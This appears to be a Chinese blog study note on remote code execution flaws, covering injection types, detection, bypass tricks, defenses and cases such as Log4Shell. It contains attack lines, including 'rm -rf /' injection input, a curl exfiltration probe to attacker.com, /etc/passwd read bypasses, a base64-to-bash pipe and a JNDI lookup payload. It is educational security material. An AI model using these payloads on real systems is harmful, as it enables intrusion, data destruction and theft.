RCE漏洞

server/2025/3/10 4:38:40/

RCE漏洞学习笔记

1. 基本概念

  • 定义:攻击者通过漏洞在目标服务器上执行任意命令或代码

  • 危害等级:高危(直接影响服务器控制权)

  • 常见场景

    • Web应用参数未过滤(如URL、表单、HTTP头)

    • 反序列化漏洞

    • 第三方组件漏洞(如Log4j2、Fastjson)

    • 文件上传 + 解析漏洞


2. RCE漏洞类型

2.1 命令注入(Command Injection)

  • 原理:通过拼接系统命令执行恶意指令

  • 示例

    php

    // PHP示例
    $ip = $_GET['ip'];
    system("ping -c 4 " . $ip);  // 攻击者输入:127.0.0.1; rm -rf /
  • 常用Payload

    ; command          # Unix分号分隔
    | command          # 管道符
    && command         # 逻辑与
    || command         # 逻辑或
    `command`          # 反引号执行
    $(command)         # 子shell执行

2.2 反序列化RCE

  • 原理:利用反序列化操作触发危险方法(如PHP的__destruct、Java的readObject

  • 经典漏洞

    • Java: Fastjson(CVE-2022-25845)、Jackson

    • Python: Pickle反序列化

    • PHP: Phar反序列化

2.3 模板注入(SSTI)

  • 原理:模板引擎解析用户输入为代码

    python

    # Flask示例(Jinja2)
    @app.route('/hello/<name>')
    def hello(name):return render_template_string(f'Hello {name}!')
    # 攻击输入:{{7*7}} → 输出Hello 49!
  • 常见引擎

    • Java: FreeMarker、Velocity

    • Python: Jinja2、Mako

    • PHP: Twig、Smarty

2.4 其他类型

  • 文件包含漏洞php://input + POST代码执行

  • 表达式注入:SpEL(Spring)、OGNL(Struts2)

  • 内存破坏漏洞:缓冲区溢出(C/C++程序)


3. 实战利用技巧

3.1 检测方法

  • 黑盒测试

    • 输入特殊字符测试命令拼接(; | >等)

    • 使用延时命令判断(如ping -c 4 127.0.0.1sleep 5

    • DNS外带数据检测:curl http://attacker.com/$(whoami)

  • 白盒审计

    • 搜索危险函数:

      bash

      # PHP
      system(), exec(), passthru(), eval()
      # Java
      Runtime.getRuntime().exec()
      # Python
      os.system(), subprocess.run()

3.2 常用工具

  • 漏洞扫描

    • Burp Suite(手工测试)

    • Nuclei(自动化模板)

  • 利用框架

    • Metasploit(exploit/multi/http/log4shell_rce

    • SQLMap(--os-shell参数)

  • Payload生成

    • RevShells(反向Shell生成)

    • CyberChef(编码转换)

3.3 绕过防御

  • 过滤绕过

    bash

    # 空格绕过
    cat</etc/passwd
    {cat,/etc/passwd}
    ​
    # 关键字绕过
    c\at /etc/passwd
    c''at /etc/passwd
  • 编码绕过

    bash

    # Base64
    echo 'whoami' | base64 → d2hvYW1pCg==
    echo d2hvYW1pCg== | base64 -d | bash

4. 防御方案

4.1 输入处理

  • 白名单验证:限制用户输入格式(如IP地址正则)

  • 敏感字符过滤:移除; | &等危险符号

  • 参数化处理:避免直接拼接命令

    python

    # 错误方式
    os.system(f"ping {ip}")
    ​
    # 正确方式(Python示例)
    subprocess.run(['ping', '-c', '4', ip], check=True)

4.2 安全配置

  • 最小权限原则:运行服务的用户使用低权限账户

  • 禁用危险函数

    php

    ; php.ini
    disable_functions = system, exec, passthru
  • 沙箱隔离:使用Docker容器或沙箱环境运行不可信代码

4.3 其他防护

  • WAF规则:拦截常见RCE特征(如/etc/passwdwhoami

  • 日志监控:记录命令执行行为并设置告警

  • 依赖管理:及时更新第三方库(如修复Log4j2)


5. 经典漏洞案例

  1. Log4j2 RCE(CVE-2021-44228)

    • 利用Payload:${jndi:ldap://attacker.com/exp}

    • 防御:升级到Log4j 2.17.0+

  2. Spring4Shell(CVE-2022-22965)

    • 利用条件:JDK 9+ + Tomcat部署

    • 攻击路径:通过数据绑定修改日志路径上传Webshell

  3. Apache Struts2 RCE(S2-045)

    • 漏洞点:错误处理时的OGNL表达式执行

    • Payload示例:%{(#_='multipart/form-data').(...)}


6. 学习资源

  • 靶场练习

    • DVWA(Command Injection模块)

    • PortSwigger Web Security Academy

    • VulnHub漏洞环境

  • 参考资料

    • OWASP Top 10(A03: Injection)

    • PayloadsAllTheThings - RCE

    • 《白帽子讲Web安全》


http://www.ppmy.cn/server/173847.html

相关文章

大模型工程师学习日记(十五):Hugging Face 模型微调训练(基于 BERT 的中文评价情感分析)

1. datasets 库核心方法 1.1. 列出数据集 使用 d atasets 库&#xff0c;你可以轻松列出所有 Hugging Face 平台上的数据集&#xff1a; from datasets import list_datasets# 列出所有数据集 all_datasets list_datasets()print(all_datasets)1.2. 加载数据集 你可以通过 l…

大白话html第十二章

1. 量子计算与网页的结合探索 概念 量子计算是一种超厉害的计算技术&#xff0c;和咱们平时用的计算机原理完全不一样。它能利用量子力学的特性&#xff0c;在处理某些复杂问题时比传统计算机快好多好多倍。把量子计算和网页结合起来呢&#xff0c;就像是给网页配上了一个超级…

WSL安装及问题

1 概述 Windows Subsystem for Linux&#xff08;简称WSL&#xff09;是一个在Windows 10\11上能够运行原生Linux二进制可执行文件&#xff08;ELF格式&#xff09;的兼容层。它是由微软与Canonical公司合作开发&#xff0c;开发人员可以在 Windows 计算机上同时访问 Windows 和…

cdn取消接口缓存

添加cdn后&#xff0c;使用cdn加速域名访问接口 是缓存&#xff0c;不是最新的数据&#xff0c;如果使用局域网则是最新的数据&#xff0c;如果修改配置&#xff0c;确保使用cdn域名请求的接口返回不是缓存 要确保通过CDN加速域名访问接口时返回的是最新的数据&#xff0c;而不…

electron + vue3 + vite 主进程到渲染进程的单向通信

用示例讲解下主进程到渲染进程的单向通信 初始版本项目结构可参考项目&#xff1a;https://github.com/ylpxzx/electron-forge-project/tree/init_project 主进程到渲染进程&#xff08;单向&#xff09; 以Electron官方文档给出的”主进程主动触发动作&#xff0c;发送内容给渲…

【SpringBoot项目】基于SpringBoot的乐校园二手书交易管理系统

【SpringBoot项目】基于SpringBoot的乐校园二手书交易管理系统 技术简介&#xff1a;采用SpringBoot框架、Java技术、MySQL数据库等实现。 系统简介&#xff1a;乐校园二手书交易管理系统主要包括前台和后台功能模块。前台功能模块分为&#xff08;1&#xff09;首页展示模块&a…

广州哪家公司做柔性装备?富唯智能以科技重构镀膜生产新范式

在光学镀膜行业竞争白热化的今天&#xff0c;"广州哪家公司做柔性装备&#xff1f;" 成为众多企业寻求技术突破时最常搜索的关键词。作为扎根广州的智能制造领军企业&#xff0c;富唯智能用创新科技交出了一份令人瞩目的答卷 —— 其自主研发的柔性镀膜上下料设备&am…

「Selenium+Python自动化从0到1②|2025浏览器操控7大核心API实战(附高效避坑模板))」

Python 自动化操作浏览器基础方法 在进行 Web 自动化测试时&#xff0c;操作浏览器是必不可少的环节。Python 结合 Selenium 提供了强大的浏览器操作功能&#xff0c;让我们能够轻松地控制浏览器执行各种任务。本文将详细介绍如何使用 Python 和 Selenium 操作浏览器的基本方法…